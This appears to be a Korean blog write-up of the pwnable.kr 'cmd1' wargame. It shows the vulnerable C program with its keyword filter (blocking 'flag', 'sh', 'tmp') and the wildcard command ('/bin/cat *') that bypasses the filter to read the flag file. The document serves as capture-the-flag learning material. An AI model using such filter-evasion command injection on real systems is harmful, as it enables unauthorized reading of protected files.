반응형
cmd1 - 1 pt
Mommy! what is PATH environment in Linux?
ssh cmd1@pwnable.kr -p2222 (pw:guest)
cmd1@ubuntu:~$ ls -l
total 20
-r-xr-sr-x 1 root cmd1_pwn 8513 Jul 14 2015 cmd1
-rw-r--r-- 1 root root 319 Jul 14 2015 cmd1.c
-r--r----- 1 root cmd1_pwn 48 Jul 14 2015 flag
cmd1@ubuntu:~$ cat cmd1.c
#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/fuckyouverymuch");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}
입력한 명령어를 그대로 실행시켜준다.
그러나 flag, sh, tmp는 필터링을 하는 것을 알 수 있다.
환경변수를 이용해서 풀어야 할 것 같지만, 와일드카드는 막지 않고 있다.
와일드 카드 사용하면 플래그가 나온다.
cmd1@ubuntu:~$ ./cmd1 "/bin/cat *"
...
mommy now I get what PATH environment is for :)
FLAG : mommy now I get what PATH environment is for :)
반응형
'WAR GAME > Pwnable.kr' 카테고리의 다른 글
pwnable.kr [uaf] 풀이 (1) | 2018.06.11 |
---|---|
pwnable.kr [cmd2] 풀이 (0) | 2018.03.22 |
pwnable.kr [lotto] 풀이 (0) | 2018.03.18 |
pwnable.kr [blackjack] 풀이 (0) | 2018.03.18 |
pwnable.kr [coin1] 풀이 (2) | 2018.03.12 |